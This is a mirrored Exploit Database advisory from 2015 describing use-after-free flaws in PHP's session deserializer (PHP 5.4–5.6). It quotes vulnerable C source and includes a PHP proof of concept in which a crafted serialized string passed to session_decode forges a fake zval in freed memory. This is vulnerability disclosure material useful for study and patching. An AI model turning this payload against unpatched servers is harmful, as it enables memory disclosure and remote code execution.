PHP Session Deserializer – Use-After-Free

• Exploit Database
• 11 阅读

• 作者： Taoguang Chen
  日期： 2015-09-09
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38123/

• Use After Free Vulnerabilities in Session Deserializer
  
  Taoguang Chen <[@chtg](http://github.com/chtg)> 
  Write Date: 2015.8.9
  Release Date: 2015.9.4
  
  Multiple use-after-free vulnerabilities were discovered in session deserializer (php/php_binary/php_serialize) that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
  
  Affected Versions
  ------------
  Affected is PHP 5.6 < 5.6.13
  Affected is PHP 5.5 < 5.5.29
  Affected is PHP 5.4 < 5.4.45
  
  Credits
  ------------
  This vulnerability was disclosed by Taoguang Chen.
  
  Description
  ------------
  
  PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
  {
  
  ...
  
  PHP_VAR_UNSERIALIZE_INIT(var_hash);
  
  p = val;
  
  while (p < endptr) {
  
  ...
  
  if (has_value) {
  ALLOC_INIT_ZVAL(current);
  if (php_var_unserialize(&current, (const unsigned char **) &q,
  (const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
  php_set_session_var(name, namelen, current, &var_hashTSRMLS_CC);
  }
  zval_ptr_dtor(&current);
  }
  PS_ADD_VARL(name, namelen);
  skip:
  efree(name);
  
  p = q;
  }
  break_outer_loop:
  
  PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
  
  return SUCCESS;
  }
  
  
  When session deserializer (php/php_binary) deserializing multiple data
  it will call to php_var_unserialize() multiple times. So we can create
  ZVAL and free it via the php_var_unserialize() with a crafted
  serialized string, and also free the memory (reduce the reference
  count of the ZVAL to zero) via zval_ptr_dtor() with deserialize two
  identical session data, then the next call to php_var_unserialize()
  will still allow to use R: or r: to set references to that already
  freed memory. It is possible to use-after-free attack and execute
  arbitrary code remotely.
  
  In some other cases, session deserializer
  (php/php_binary/php_serialize) may also lead to use-after-free
  vulnerabilities: i) via crafted Serializable::unserialize() ii) via
  unserialize()'s callback function and zend_lookup_class() call a
  crafted __autoload().
  
  Proof of Concept Exploit
  ------------
  The PoC works on standard MacOSX 10.11 installation of PHP 5.4.44.
  
  
  <?php
  
  session_start();
  
  $fakezval = ptr2str(1122334455);
  $fakezval .= ptr2str(0);
  $fakezval .= "\x00\x00\x00\x00";
  $fakezval .= "\x01";
  $fakezval .= "\x00";
  $fakezval .= "\x00\x00";
  
  $exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}';
  // $exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;';
  session_decode($exploit);
  
  for ($i = 0; $i < 5; $i++) {
  $v[$i] = $fakezval.$i;
  }
  
  var_dump($_SESSION);
  
  function ptr2str($ptr)
  {
  $out = "";
  for ($i = 0; $i < 8; $i++) {
  $out .= chr($ptr & 0xff);
  $ptr >>= 8;
  }
  return $out;
  }
  
  ?>
  
  
  Test the PoC on the command line:
  
  
  $ php uafpoc.php
  array(2) {
  ["ryat"]=>
  NULL
  ["chtg"]=>
  array(1) {
  [0]=>
  int(1122334455)<===so we can control the memory and create fake ZVAL :)
  }
  }